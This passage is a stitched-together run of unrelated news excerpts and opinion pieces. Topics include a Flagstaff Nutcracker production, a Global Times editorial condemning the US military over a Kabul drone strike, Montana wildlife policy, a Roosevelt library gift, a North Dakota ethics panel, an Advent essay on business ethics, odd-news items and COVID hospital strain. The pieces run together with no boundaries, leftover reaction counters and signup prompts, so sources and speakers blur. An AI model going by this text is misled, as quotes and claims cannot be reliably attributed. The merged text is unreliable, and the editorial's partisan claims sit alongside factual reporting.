pandemic proved to be too much for the studio, Darlington said. The studio was sold to another dance company and Canyon Dance Academy ceased operations in August, according to the CMC website. Darlington was quick to add that the nonprofit, Canyon Movement Company, will continue to exist and will continue to produce dance performances for the community. For people who may be reticent to attend the performances in observance of COVID safety concerns, Darlington said there will be a live-steam dress rehearsal on Thursday. To attend, visit the CMC website. Its definitely bittersweet, Darlington said of the Nutcracker performances. But change is good. Well see what happens in the future. Darlington said she believes art heals people. It lets people escape the negative things in their personal lives, in the world like now, Darlington said. She recalled a conversation with a friend who lived in New York City after the Sept. 11, 2001 attack. The question arose: Was it still worth it to make art? The answer: Absolutely. Even more so. Dancing is the closest thing to magic, Darlington said. Clara represents the innocence and imagination of childhood and a belief in miracles that is rekindled at Christmas. Claras message is that dreams can come true. As part of the holiday performances, CMC members and cast are also presenting a lecture and demonstration for local school students as part of the companys community outreach and educational programs. The performance is supported by the City of Flagstaff, Creative Flagstaff, the Arizona Community Foundation, the Arizona Commission on the Arts and the National Endowment for the Arts. Love 1 Funny 0 Wow 0 Sad 0 Angry 0 (Global Times) When it comes to innocent people being killed during battle, US troops are often ruthless and merciless with no bottom line especially in overseas operations. A fresh decision by the US Department of Defense reinforces such an impression. The New York Times cited the Pentagon on Monday that none of the military personnel involved in a botched drone strike in Kabul, Afghanistan in August, that killed 10 civilians, will face punishment. The report said over two decades, the US military has killed "hundreds, if not thousands, of civilians by accident in war zones like Iraq, Afghanistan, Syria and Somalia. And while the military from time to time accepts responsibility for an errant airstrike or a ground raid that harms civilians, rarely does it hold specific people accountable." "The US military's tolerance toward killing innocent civilians will deal a blow to its credibility and reputation in the international community," Song Zhongping, a Chinese military expert and TV commentator, told the Global Times. This is a form of US-style hegemony. On the international stage, when blaming other countries for practices which run counter to humanitarianism, the US will not relent. Worse still, in a bid to effectively attack its rivals, the US has even fabricated various lies on human rights or humanitarianism. But when encountering its own issues in this regard, it tries to play it down. This shows that its image of upholding global morality and justice which the US has propagated is trumped up, going against its true colors. The US military's attempts to downplay its overseas crime by its troops also demonstrate its contempt for the lives of other countries. Civilians have been killed by US forces in almost all wars waged by the US, ranging from the Vietnam War to battles against the Islamic State in Syria. The US' tolerance in dealing with such crimes can partly explain why such practices have repeatedly happened. Furthermore, even though the US military has been creating its image as well-trained, it has been witnessed that the US military has lax discipline and poor management. Another report by NYT cited military officials who said that a top secret American strike on a cell killed civilians in their operations against the Islamic State in Syria. The report quoted sources as saying that in 2017 the operators showed few signs that there were military. They used first names and no rank or uniforms, and many had bushy beards and went to work in shorts. This may be an important factor contributing to US troops' arbitrarily killing overseas civilians in battles or wars abroad, which deserves the Pentagon's reflection to improve the management of the armed forces and constrain the irresponsible practices of US troops. But the Pentagon's decision not to punish the involved personnel reveals there is no introspection within the US military. Worse, it would leave an impression to related personnel that if they commit similar crimes once again, they will escape punishment as well. This will produce a very negative chain reaction. Similar tragedies done by US troops in other countries are expected to be repeated. Just as many netizens said, the US is the deadliest terrorist in peacetime. "The US exploits its state power and forcibly intervenes in other countries, including attempting to overturn their governments and shake their social stability, waging wars, and threatening the safety of unarmed civilians. All of these can be considered state terrorism," Zhang Tengjun, deputy director of the department for Asia-Pacific Studies at the China Institute of International Studies, told the Global Times. This calls for the full attention and vigilance of the international community. A photographer from northwest China's Shaanxi province was recently nominated for the People's Choice Award of the Wildlife Photographer of the Year (WPY) 2021, a world-famous competition that showcases outstanding wildlife images from around the world originally established in 1965 by BBC Wildlife Magazine, and which is also known as the Oscars of world wildlife photography. The photographer, Zhang Qiang, received the honor for capturing a young Sichuan snub-nosed monkey in the warm embrace of its mother in the woods of the Qinling Mountains, Shaanxi province. Ellai fishes by hand, lives alone in a remote cave and is a living testament to the way residents once lived on this far-flung island in Yemen. Despite living only 2km from the town of Qalansiyah, Ellai still chooses to live in a cave, and in many ways, he is something of a living testament to the way ancient Socotri once lived on this far-flung island. More than one-third of Socotra's plant species are endemic (Credit: John M Lund Photography Inc/Getty Images) Marooned between Somalia and Yemen where the Arabian Sea and Indian Ocean meet, the Socotra archipelago is one of the most isolated continental fragments on Earth a piece of Africa adrift at sea. The high proportion of endemic flora here have led some to label this Unesco World Heritage site the "Galapagos of the Indian Ocean". More than one-third of Socotra's 825 plant species and 90% of its reptile species don't live anywhere else in the world, and gazing up at the islands' surreal, umbrella-like dragon's blood trees and down at thousands of bright blue and red freshwater crabs that scurry in the twilight, it can feel like you're on another planet. Ellai isn't sure of his exact age: Socotra's first hospital didn't open until 2012 so no official records of his birth exist, but thinks that he is around 60 years old. He has had 12 children, but due to malnutrition and the lack of modern healthcare and vaccinations, only six of them survived childhood, which isn't uncommon in Socotra. Today, his children are looked after by his wife who prefers to live in the relative comforts of Qalansiyah. Ellai still spends most of his time in his cave, fishing daily to support his family. A series of whale ribs mark the entrance to Ellai's cave home (Credit: Geri Moore) Ellai was born in this cave, as was his mother before him. Unusually in Socotra, where men are traditionally the providers, Ellai's mother took on the role of fisherman for the family. "I still feel her presence inside the cave," he told me. She taught him how to survive, where to find dates, potatoes and tomatoes some of the only edible food on the island as well as which plants to use for medicine and where to find fresh water high up in the mountains. Ellai says his life hasn't changed much in the last 60-odd years, except he now proudly owns an "old-fashioned" mobile phone and has the luxury of bottled water. (excerpt from BBC.com) Stories that slip from the ordinary to the strange by a renowned Swiss writer. "It's Getting Dark: Stories" by Peter Stamm, translated from the German by Michael Hoffmann; Other Press (240 pages, $22.99) "I think content is overrated in fiction," Peter Stamm remarked in a 2017 interview, adding, "Most literature I admire is not about what happens, but how it's described." I have to wonder, then, what Stamm would make of these short stories if he hadn't written them. What happens might be what's most interesting about them, because formally and stylistically they're coolly self-effacing, rendered, in reviewers' parlance, in unadorned prose. As with the flat telling of fairy tales, on the smooth surfaces of Stamm's stories we slip easily from ordinary to strange, distinctions elided. At an artist's colony in wintery Vermont a mysterious book of poetry, photographs on the studio walls, a deserted Christmas party that springs momentarily to life all conspire to make a visiting artist question the brief affair he had decades earlier with the benefactor's daughter. An old man on the verge of retirement slowly realizes, as we do, that he's already gone. Sabrina, a young woman, sculpted by an artist "looking for perfectly ordinary-looking women," becomes, literally, absorbed by her image. In her discomfort at the unveiling, it seems that "[t]he figure might bear Sabrina's name, but she herself was perfectly exchangeable." A retired doctor, arriving at the hospital for an operation, is led about, or seems to be, by a disturbed woman she once repeatedly treated. The retired doctor's surgeon says nothing about her own condition, "as though it were somehow embarrassing to him that I was now on the other side." In the title story a female police officer investigating rumors of a woman and children haunting the mountain hut where she herself stayed as a child with her mother and brother attaches herself to the woman in a way that blurs her troubled present and past. Joining the woman on her pallet in the holding cell, she "became quite small, seeming to burrow into her, her darkness." On a tour given as a birthday gift by a now-ex-boyfriend, a woman leaves the group in Barcelona and finds herself in an apartment with a fortuneteller at once clearly fake and mysteriously knowing. "I can see how everything will end, but then it always ends that way anyway," either the narrator or the fortuneteller says, it's impossible to tell which. "What I can't see is what we make of it, what we'll look back on. And that's what happiness is." What? Seeing? Not seeing? Whether it's Stamm, an award-winning Swiss writer, or Michael Hofmann, his trusty translator, mixing things up, the occasional confusion is typical of these stories, where characters wander between menace and melancholy, finding themselves without ever quite knowing where they are. Ellen Akins is a writer and teacher of writing in Wisconsin. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 At the Burger Dive, weve had to implement new ways of serving people, added Halsten. Theres a lot of takeout still, but between the restaurant and the delivery services, I know there can be miscommunication and mistakes that happen through a third party. While eating lunch at the Burger Dive recently, Jason Coley recalled experiences hes had at some local restaurants. He recently waited for a table at a restaurant with only one server and one cook that resulted in the best salmon hes ever had, for $10. Two customers walked in with the same situation. They were kind of snooty and when the waitress let them know it would be a couple minutes, they answered that Well come back when you get your act together.' Too bad for them because they really missed out on a great experience and meal, said Coley. For the "Be Kind" campaign, the Chamber also created an online toolkit at visitbillings.com with links to mental health resources such as the National Alliance on Mental Illness, Rimrock, Community Crisis Center of Billings, Angelas Piazza/The Womens Drop-In Center, Healthy by Design, and the Mental Health Center. He has pushed back against progressive calls to defund the police and has defended the controversial stop-and-frisk police strategy as a useful tool that has been abused. He has also pledged to diversify the NYPD's ranks. Among about 35,000 uniformed members of the department, about 45% are white, 30% are Hispanic, 15% are Black and 10% are Asian. Sewell on Wednesday reiterated that promise to diversify the force. "I am mindful of the historic nature of this announcement as the first woman and only the third Black person to lead the NYPD in its 176-year history. I bring a different perspective, committed to make sure the department looks like the city it serves, and making the decision, just as Mayor-elect Adams did, to elevate women and people of color to leadership positions," she said. Sewell was named Nassau's Chief of Detectives in September 2020 overseeing a staff of about 350 people. The NYPD has about 35,000 officers. Adams acknowledged Sewell has been leading a much smaller force in her current role, but said Wednesday she helped make Nassau County one of the safest communities in the country. The coalition of groups that filed suit against Idaho officials on Dec. 6 first warned of their plans in July with a 60-day Notice of Intent. The groups served a similar notice to Montana officials over the state's trapping law. Patrick Kelly, spokesperson for the Western Watersheds Project one of the 13 organizations in the suit filed last week said the group waited longer than 60 days to see how Idaho and Montana officials would respond. In response, Montana's Fish, Wildlife and Parks commission adjusted how it would implement its wolf trapping in lynx and grizzly habitats. Idaho officials did not respond to the notice. The December lawsuit asks the Idaho district court to stop wolf trapping in habitats shared by grizzly bear and lynx until Idaho can ensure trapping and snaring won't violate the Endangered Species Act. Ben Scrimshaw, an attorney for Earthjustice, told the Idaho Statesman that Idaho officials could find a way to ensure grizzlies and lynx won't be caught or seek a permit from the U.S. Fish and Wildlife Service for any protected animals that are accidentally caught in traps intended for wolves. The department and commissioners reported communications numbering in the thousands with many hunters concerned the proposals moved the publics wildlife towards privatization. On Monday afternoon during a work session between staff and the commission, the decision was made to pull back the proposals in those eight districts. Instead, archery hunting would move to either a general license or unlimited permit. Quotas for rifle permits would be increased by 50%. Before the commission took up elk regulations, FWP Director Hank Worsech talked about what led to the original proposals. What has been tried for years is not working, he said, and to continue without attempting something new would be the definition of insanity. The proposals for the eight districts were based on what is biologically defensible, he continued, acknowledging the firestorm they created, and saying he took full responsibility. Still, Worsech felt the issues sparked some dialogue and expressed hope that with FWPs announcement of a new 17-member elk and access working group, it could catalyze new ideas for legislation and regulation. The letter of support that I received today reflects a valued slice of Montana. I humbly appreciate the confidence of all those that signed this letter or reached (out) to me, Arntzen said to the Missoulian in a statement responding to the letter. My staff at the agency are also grateful for the support as they have tirelessly emphasized students and families in their work. I reject the current continued negative narrative that seems to be politically driven," her statement continued. "My statewide work is to restore hope by embracing and engaging in the active role of parents and teachers in our childrens learning. I invite all Montana school leaders to proactively seek collaborative solutions. She concluded by saying shell host public listening sessions in the new year to engage all Montanans on how to better serve students. Delisting would allow the commission to authorize hunting in a manner consistent with management objectives, the proposed rule states. To ensure the grizzly bear would remain in recovered status with state management, the regulatory mechanisms are most effective if they indicate how the state will manage populations, including when hunting is no longer viewed to be appropriate. However, those other regulations could cloud Montanas claim to protect grizzly populations. For example, the commission on Tuesday also reviewed plans to allow hunters to chase black bears with dogs, over warnings that such activity in occupied grizzly habitat risked harassing or killing the protected species by mistake. That could trigger lawsuits threatening all of Montanas black-bear hunting opportunities, speakers warned. The commission votes, which came at the end of a 10-hour meeting on Tuesday, drew little public participation. We feel recovery has occurred in both the Greater Yellowstone and Northern Continental Divide, Montana Sportsmen for Fish and Wildlife Executive Director Jeff Darrah told the commission. Montana does not need to be the sending area or breeding ground for all ecosystems. Top benefactors to the Theodore Roosevelt Presidential Library planned near Medora have given $10 million to Dickinson State University's Theodore Roosevelt Center, fulfilling a key provision for building the library that once was destined for Dickinson. The university and the DSU Heritage Foundation on Tuesday announced the donation from the foundation of Rob and Melani Walton, of the Walmart fortune. She is a 1998 Dickinson State alumna and a library board trustee. The process of acquiring U.S. Forest Service land in the Medora area for the library is in the appraisal stage and is expected to wrap up with a sale in April, according to Library CEO Ed O'Keefe. He said in a public presentation on Tuesday that he would like the first event at the site to be a "healing circle" with Roosevelt family members, at the invitation of tribal nations. "I think it's critically important that we have a productive dialogue with the five tribal nations in North Dakota," he told the Tribune. "The Roosevelt family would very much like to extend their respect to the five tribal nations, and if there's an opportunity on the land before we do any other act to gather and talk and convey that respect, it seems like the right thing to do." The $10 million for the Theodore Roosevelt Center will help expand digitization and archiving of Roosevelt materials, assist scholars with reference questions, further develop the center's website and other media, and aid classroom programming and education. The center since 2009 has digitized more than 70,000 Roosevelt items and made them available online. Ensuring the lessons we can learn from Theodore Roosevelt are accessible to everyone inspires future generations to get into the arena and solve the challenges we face today as a collective, global community, the Waltons said in the statement. Were filled with gratitude to support DSU in realizing its expanded vision for the Theodore Roosevelt Center, which began over a decade ago." The money also "will establish a new chair position to facilitate the study of the life, achievements, legacy, and historical reputation of Theodore Roosevelt, and serve to promote the (center), DSU, and Theodore Roosevelt scholarship nationally and globally," according to the university's announcement. DSU President Steve Easton in a statement said: We appreciate the rare opportunity to both enhance our students education and offer a gift of learning to the world, and we couldnt be more energized to continue this important work. This generous gift from Rob and Melani Walton provides long-term financial stability and the ability to realize our vision for the Theodore Roosevelt Center. The Waltons previously gave $50 million toward the $100 million goal for the planned library's construction. Library organizers met the goal last year. The Arkansas couple earlier this year purchased nearly 2,000 acres of the Hellickson Ranch near Medora for $3.8 million, with intentions to preserve the land and to continue grazing. Dickinson once was the planned home of the library, before organizers turned to the Medora-area Badlands, where Roosevelt ranched as a young man in the 1880s before becoming president in 1901. Medora is on the doorstep of the national park named for Roosevelt, which is North Dakota's top tourist attraction. The site move was upsetting to some people involved; in 2019, Senate Majority Leader Rich Wardner, R-Dickinson, said, "This project was hijacked right out of our city." The 2019 Legislature approved a $50 million operations endowment for the library, contingent upon the $100 million being raised in donations. The library legislation also includes $300,000 for the city of Dickinson for prior costs of the library planning. O'Keefe said the library board paid the money last year from donations. Reach Jack Dura at 701-250-8225 or jack.dura@bismarcktribune.com. Love 1 Funny 0 Wow 2 Sad 0 Angry 0 Want to see more like this? Get our local education coverage delivered directly to your inbox. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. North Dakota's Ethics Commission will consider improvements after complaints about its transparency. Board members on Wednesday said the voter-approved panel has been transparent throughout its two-year existence, including during the disruptive coronavirus pandemic, but it will look into uploading meeting videos online and might seek public comments earlier in its rules process. "I believe we've done remarkable work in this context, in this environment," Commission Vice Chairwoman Cynthia Lindquist said, referring to the panel's videoconference meetings amid the pandemic. The board's discussion came after the ballot measure group that bore the commission voiced unhappiness with the panel's openness at a hearing last month about proposed conflict of interest rules for state officials involved in "quasi-judicial" proceedings, such as members of the state Industrial Commission and the Public Service Commission. North Dakotans for Public Integrity President Dina Butcher and Vice President Ellen Chaffee expressed displeasure with the panel's website, its minutes, the absence of meeting videos online and the lack of opportunity to interact with commissioners at the hearing, held in a hallway of the board's office in Bismarck. Commission Executive Director Dave Thiele oversaw the hearing; commissioners themselves did not attend. Butcher said the group would look into filing a complaint about the board's openness. The panel's website now has a frequently-asked-questions section, and other updates are in the works "to make the website more user-friendly, though I think it does a pretty good job of that," Commission Executive Director Dave Thiele said. The board discussed putting its meeting videos online for 60 days or until the meeting's minutes are adopted, and publishing a verbatim transcript. The commissioners will revisit the topic. The Legislature livestreams and archives videos of its committee meetings and floor sessions. Public Integrity Vice President Ellen Chaffee said she likes the idea of meeting transcripts, but thinks the board's website needs professional assistance. She noted 15 people tuned in to the panel's videoconference on Wednesday. Thiele said the Ethics Commission has followed the administrative rules process by the book, despite the measure group's concerns. He and the board's attorney advised against pursuing a different process or allowing a dialogue or debate to unfold between a commissioner and commenter at a rules hearing, which could lead to a commissioner speaking on behalf of the whole board, which acts as a body. "There's no legal requirement that you do it any other way," Assistant Attorney General Allyson Hicks told the panel. "I understand there may be some disappointment; however, their comments are being heard. It's just not an immediate gratification." At least one other board handles such hearings differently -- all three members of the Public Service Commission attend administrative rules hearings. Ethics Commissioner Paul Richard said he is "a little bit flabbergasted" by the nature of the comments after having "heard nothing" during months of work on the rules. He'd like to receive public comments earlier in the process; Lindquist agreed. The ethics panel has been discussing conflict of interest rules for about a year, and in earnest since July. "My question is more along the lines of how do we get people to interact with us in real time before we get to that last iteration so that we have had an opportunity to consider all input," Richard said. The panel isn't required to invite public comments on early draft rules but could do so via its website "ahead of time," Hicks said. The board opened the rules up for public comments in October, with a deadline in early December -- "the first invitation for public comment," according to Hicks. Richard said, "I understand this is the first regulatory requirement for public comment, but in my mind it comes a little late, and I think to a certain extent created some of the noise around lack of transparency, which I quite frankly don't understand. This rule has been on our agenda for months, and we've heard nothing until now." The panel received five comments Thiele categorized as "substantive," or "specific with recommendations," and 21 deemed "nonsubstantive," or "general concerns with the conflict rules," he said. Most comments opposed the draft rules. The rules relate to definitions, disclosure, disqualification and abstention for public officials in conflicts of interest, notably the PSC and Industrial Commission. Opponents don't like the rules' exemption of campaign contributions, which could include contributions by companies overseen by state regulators. Thiele has said the board's assessment is that "a blanket prohibition or mandatory recusal would be a violation of the U.S. Constitution First Amendment." Chaffee said she was grateful the panel reviewed the comments "item by item and had a good discussion" about each one. The Ethics Commission tabled the draft rules until its January meeting, pending an attorney general opinion. Reach Jack Dura at 701-250-8225 or jack.dura@bismarcktribune.com. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Christians in the marketplace are motivated by more than profit. They seek also to be worthy of the public trust so as to avoid divine judgment. [] One of the more disturbing aspects of the way the market economy works is the ability of, at least some, participants to avoid responsibility for their decisions and actions. The manner in which this works is through the concepts of corporate personality and limited liability. The corporation is deemed to have a separate legal personality. Consequently, the company can sue and be sued, enter into contracts, and be recognized as a separate legal person in its own right. There is what is called a veil of incorporation, which separates the members, shareholders, or owners of the company from the corporation itself. In essence, there is a cloak of invisibility behind which they hide. Added to this is the idea of limited liabilitythe concept that the members of a corporation are limited in their liabilities in the case of losses or bankruptcy to the amount invested. If you buy a share for $1, then that is the most you can lose even if the company goes into liquidation owing $1 million. One might think that these characteristics of the corporation enable individuals to avoid the responsibilities and consequences of their actions in the marketplace, sharing in the rewards but only to a very limited extent in the losses. Nothing could be further from the spiritual and theological themes of Advent. Advent lifts the veil. There is no hiding. Advent calls us before God. Advent encourages us to take responsibility for our actions. Advent reminds us of our accountability for our behavior. Advents teaches us faithfulness and discipleship. Judgment is an Advent theme. When the Lord returns, he will sit on the throne of judgment. We will all bow the knee and give account for our lives and actions, regardless of role: business owner, executive or entrepreneur, investor, customer or supplier. Christian observers have often seen the market as the place where we receive in this world the rewards and punishments that are a foretaste of the judgment to come. The problem with too many (though not all) of the structures of corporate ownership is that they enable the rewards but not the punishments. Bankruptcy was seen as a natural punishment in the market for failed, misplaced, or corrupt business practices. Wealth was the reward but, of course, led to significant responsibilities. Bankruptcy was viewed with considerable negativity, for example, by the Quakers, who produced so many great business merchants, and usually led to expulsion from the Quaker meeting. A particular problem was what came to be seen as the indiscriminate pursuit of wealth, reflecting a long-standing resistance among Christians, not to wealth itself, but to what one might call the arrogance of wealth. The arrival of limited liability (in the U.K. in 1856) may have encouraged this outlook. Certainly, mainly evangelical preachers, writers, and commentators in the 19th century objected to what Humphrey Lyttleton, in his Sins of Trade and Business: A Sermon (1874), referred to as immoderate eagerness for speculation and moneymaking and the ravenous and insatiable, and ever-hurrying greediness in pursuit of it, this intoxication of love of it. He was not alone in the theme. The Reverend J.B. Owen, lecturing to the YMCA on Business Without Christianity, in 1855 noted how fatally is wealth set up as a standard, as though it were the measure of right and wrong, greatness and meanness, virtue and vice. Montague Villiers, a noted evangelical preacher, in his 1853 lectures, Gold and Gold-Seekers: Lectures Delivered Before the YMCA, noted that in the search for gold, the golden rule itself is forgotten. Humphrey Boardman in The Bible in the Counting House in 1854 criticized luxury and extravagance, noting that the money which is hurriedly made, is wastefully expended, adding that the contest for gain in the arena of business is carried forward as a race for ostentation in social life. Sin was sin. Business may indeed have been ordained by God, but its practitioners were not exempted from the judgment of both the invisible hand in the market and, ultimately, the visible hand of judgment. The arrival of limited liability was problematic, certainly in England. An increase in fraud and unfair trade practices appears to have followed. Many Christians thought that the limitation of liability constituted the defrauding of the creditors of a failed company. The right to make profits should surely mean unlimited responsibility for losses as well. For Christians it was a matter of accountability, reputation, honesty. Business failure represented divine judgment and was an essential part of a system in which economic sin would be atoned for through bankruptcy. The judgment seat, though, is also a mercy seat. Advent is dominated by themes that sit in creative tension with each other: waiting and anticipation, first coming and second coming, victory and sacrifice, judgment and mercy, even reward and punishment. Personal responsibility, being held to account for ones actions in this world, presents an opportunity for repentance, forgiveness, and mercy. Most entrepreneurs fail before they succeed. Reflecting the creative tension set up by Advent, the Christian has understood the market in terms of faithful discipleship in this world in preparation for the next, a school of discipleship or a field in which to exercise. This is entirely consistent with the themes of Advent. In other words, we learn in the market and apply our faith, our moral character and moral judgments, to the market. We model and demonstrate Christian behavior and Christian truth. This is seen in the way in which the market deals with the idea of competition. There are numerous benefits to competition in pricing and resource allocation, but the benefits do not accrue equally. For the Christian, the appropriate response to wealth is the responsibility toward those in need. This reinforces the idea that our time on earth, an idea reflected in the themes of Advent, is a time of probation, testing, and discipleship. This was all well summarised by James Baldwin Brown in his 1855 lecture on The Young Mans Entrance Upon Life and Commencement of Business, in which he argued: I would that you young men would enter into business with the resolution to take the whole of your moral nature into it with you to make it a school of moral discipline. We will investigate more fully the ideas of call and calling further in our final Advent piece next week. This theme, however, of bringing the Christian moral character to bear upon the market and the business enterprise lies at the heart of our Advent reflections. One writer, J.B. Owen, whom we mentioned earlier, described business without Christianity as like trying to navigate an unknown sea without any aids of navigation. The idea of discipleship, though, surely is also intended to lift the heart, raise the vision, to be concerned for the welfare of others. Thomas Gisborne, in his Enquiries into the Duty of Men, in 1795 referred to the Christian businessman as looking beyond his own emolument and advantage. He gave the example of a banker who should exert himself in doing good by benevolent loans, which would do more good than simple philanthropy. The accepting of small deposits was part of this responsibility. The quest for unmitigated integrity in trade, however, carries a price for Christians in business. They face scorn and ridicule for standing up for their principles, because this means that their policies and actions must be beyond reproach and a witness to the community at large, and are almost always under scrutiny. Herbert Spencer, in his The Morals of Trade (1874), sums the matter up: When not only the trader who adulterates or gives short measures, but also the merchant who overtrades, the bank-director who countenances an exaggerated report, and the railway-director who repudiates his guarantee, come to be regarded as of the same genus as the pickpocket, and are treated with like disdain; then will the morals of trade become what they should be. Disciplined moral behavior was not restricted to the narrowly legal. May the Lord bless you in this time of Advent. ITAI A Louisiana judge claims sedatives, not racism, are at fault for her screaming racist epithets. Daily Beast: Lafayette City Court Judge Michelle Odinet has asked for "forgiveness and understanding" after the video emerged this week. In the footage, which was first reported by The Current, an unidentified voiceapparently a member of Odinet's familycan be heard laughing about "mom" shouting the N-word at a burglary suspect. The video was shot as the judge's family watched home-surveillance footage of a thwarted car burglary at their home. "My children and I were the victim [sic] of an armed burglary at our home. The police were called and the assailant was arrested. The incident shook me to my core and my mental state was fragile," Odinet said in a statement Monday, The Current reports. As for the video, Odinet said she "was given a sedative at the time" and had "zero recollection of the video and the disturbing language used during it." An entire bridge was recently stolen in Akron, Ohio, and nobody knows whodunnit. The 10-foot-wide, 6-feet tall, 58-foot long bridge, which was originally set in a park, was moved in the 2000s to a nearby field while the park underwent a long-term restoration project. And then, overnight, it disappeared. And perhaps unknown to the thieves, the bridge parts, made of a polymer material, are worthless. From News5 Cleveland: Mark Aguirre, formerly a Houston police captain, was paid by wealthy Republican donor and deranged quack Steve Hotze to "investigate" voter fraud. Aguirre rammed a van he "thought" was loaded with "illegal" ballots, but it was not and he was arrested in 2020. He has finally been indicted, reports Cory McGinnis. Mark Aguirre is charged with aggravated assault with a deadly weapon and could face up to 20 years in prison. Aguirre was arrested last December after prosecutors say he ran his SUV into the back of the truck of an air conditioning technician. Aguirre allegedly told police he believed the victim was behind a massive voter fraud scheme and that there were 750,000 fraudulent ballots in his truck. After the victim got out of his vehicle, Aguirre allegedly aimed a pistol at his head and ordered the man to get on the ground, according to the DA. Two additional vehicles then pulled up, with Aguirre ordering an unidentified person to search the truck, according to previously filed court documents. According to Ogg, Aguirre was allegedly paid more than $250,000 by conservative activist Steve Hotze to investigate voter fraud through Hotze's group Liberty Center for God and Country. "Aguirre victimized an innocent guy," Ogg said. "He made this victim feel like he was going to die. And the fellow was not involved in any type of voter fraud, but instead was just an air conditioning repairman with a box truck." Some coverage of this has a subtly exonerative note, implying that if there were ballots in the van, it would have been reasonable for far-right goons to ram it off the road, put the driver on his knees at gunpoint, and maybe worse. When you spot uncanny bullshit like that lurking in the tone or content of coverage, remember that the best thing that could happen to the media business is Trump smirkingly emceeing as things get worse. Locking up your junk seems to be a new Bangkok thing. The Thaiger: Unlike the last report of a man inexplicably locking his penis in a padlock back in July, few details were released about this incident of what is hopefully not a growing trend in Thailand. Many more details were released in the last incident, including such gems as that the man has spent an alarming 14 days trying to remove the padlock himself after losing the key before his member became infected and unbearably painful, and that his mother made it clear that he was very single and enjoyed putting his penis through small holes apparently. Authorities in the previous incident in July had made details of the story public, stating that they hoped it would prevent others from doing the same kind of thing with a padlock or similar, but unfortunately at least one tattooed man in Bangkok did not receive the vital warning for the safety of his penis. Id like to claim Vivian Maier, too. I live in a building in Rogers Park alongside where Maier lived, and when I moved here, soon after she collapsed on a Chicago sidewalk, banged her head then died in 2009, I heard from neighbors that she was a fixture in local parks. Someone tells Marks that Maier glided around Chicago on her bike, camera at her neck, looking like the Wicked Witch of the West. Indeed, I heard this same thing, that Maier, prim, long face, conservatively dressed, was Margaret Hamilton-ish. Its here Marks makes her finest contributions to the legend, digging into Maiers personality and filling in family history, even as it becomes clear from Maiers decades of silence and secrecy, she probably never wanted to be known, or even thought about. Maier was born in New York City but spent much of her childhood in a mountain village of France. Relatives there remember her as like an extraterrestrial, private and unknowable. Even after she moved to Chicago as an adult, and went to work as a Highland Park nanny for the Gensburgs, heirs to the Chicago Coin pinball company a friend recalls Maier being more a persona than a personality. Though from Marks reporting, thats not quite right, either. Maier had plenty of personality. She seemed to move to Chicago to start a life even more anonymous than what came before. She was paranoid and unfriendly. When she became a live-in nanny for a Wilmette family, her room was so stuffed with newspapers that the floor had buckled from their weight. One of the children that she cared for remembers Maier throwing away a favorite puppet because, to Maier, the toy had shaved legs and therefore resembled a prostitute. Once Stan learns the code and literally steals it hes off with Molly to the big city. Its that move to Buffalo in the second half of the film where the movie shifts dramatically in tone and style, adding the snow and sights that will excite local moviegoers as Buffalo locations like City Hall, the Karpeles Manuscript Museum and the Walter J. Mahoney State Office Building are seen. (Toronto and other Canadian locations also were used for the city scenes.) The rich but worn colors of the carnival scenes are replaced by sumptuous gold of the superb art deco sets, including the stylish nightclub where Stanton dupes high rollers with his mentalist show and the exquisite psychologists office that is a work of art. But big-city folk arent as gullible as his carny fare, and he meets his match in glamorous, but icy cold, Dr. Lilith Ritter (Cate Blanchett), who is out to disprove his abilities, and an unrecognizable Richard Jenkins as grieving but violent industrialist Ezra Grindle. Theres also Mary Steenburgen in a small but important role, as a judges desperate wife who wants Stanton to help her talk to her dead son. With each success, Stanton pushes boundaries, ignoring warnings from those who know his shtick. His arrogance is no match for fate. PHOENIX (AP) Phoenix-based Banner Health is at its most overwhelmed since the pandemic began, leading the company's officials to issue a warning Tuesday that its hospital system may have to eventually choose who can receive care. Some of Banner's hospitals in one of Arizona's largest health care systems are operating above 100% capacity, said Dr. Marjorie Bessel, the company's chief clinical officer. COVID-19 hospitalizations make up one-third of Banner's hospital patients but there there is also an extremely high volume of patients who delayed preventative care or are in the late stages of an illness, she said. The company has 18 hospitals in Arizona. As of Tuesday, 10 of them were running above 100% of their ICU staffed bed capacity. Five of them were operating 100% above staffed in-patient bed capacity, according to spokesman Corey Schubert. We are more stretched now than we have been since the start of the pandemic, Bessel told reporters. ICUs are where we are experiencing the most significant strain on our resources. Banner has had to postpone medical procedures, new patient visits and non-urgent appointments because of the intensive care unit needs. Responded Califf: I'm totally with you. The price of pharmaceuticals is way too high in this country." New Hampshire Democratic Sen. Maggie Hassan pressed Califf on the need to change FDA prescribing information for opioids, to better reflect the risk of addiction. But top Republican Sen. Richard Burr of North Carolina said he hoped his colleagues would vote for Califf, while Sen. Bill Cassidy, R-La., told the nominee, I thank you for your vision. The FDA has been straining for months under a massive pandemic workload even as a series of scientific disputes including the approval of a controversial Alzheimers drug have marred its public reputation. Califfs nomination by Biden last month was seen as a safe, steady choice to guide the agency, which hasn't had a permanent leader since last January. The FDA regulates the vaccines, drugs and tests used to combat COVID-19. Thats on top of its normal duties regulating a swath of consumer goods and medicines, including prescription drugs, medical devices, tobacco and vaping products. The state Senate voted 36-4 in favor of the bill, returning it to the House to approve recent amendments. The measure is expected to pass and preserves priorities added by the House, including $2 million for teacher loan repayment and $50 million for a rural hospital. The money would come from the some $1 billion in federal funds the state legislature is working to allocate after the state supreme court ruled last month that Gov. Michelle Lujan Grisham had no right to allocate the funds herself. The Legislature is on track to put around half of that money in the general fund, allowing it to allocate the money next year. Lujan Grisham has urged the Legislature to move quickly on pandemic aid spending. The Democratic governor had vetoed Legislature allocations of the federal pandemic relief funds this spring, sparking a rare public dispute between her and the Democratic majorities in the state House and Senate. The Legislature sued and ultimately won their argument in court that the Legislature has the power of the purse, even when the money comes from federal funding. Attanasio is a corps member for the Associated Press/Report for America Statehouse News Initiative. Report for America is a nonprofit national service program that places journalists in local newsrooms to report on under-covered issues. Follow Attanasio on Twitter. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. The state has said it is leaving it up to counties to enforce the mask mandate, with some counties refusing to do so. It leaves to a county's discretion the possibility of fining a business up to $1,000 per violation for noncompliance. In Erie County, Poloncarz and Health Commissioner Dr. Gale Burstein said they are trying to enforce the mask mandate through education, mask distribution to businesses and the issuance of warnings, which seems sufficient, in most cases. Unlike smaller 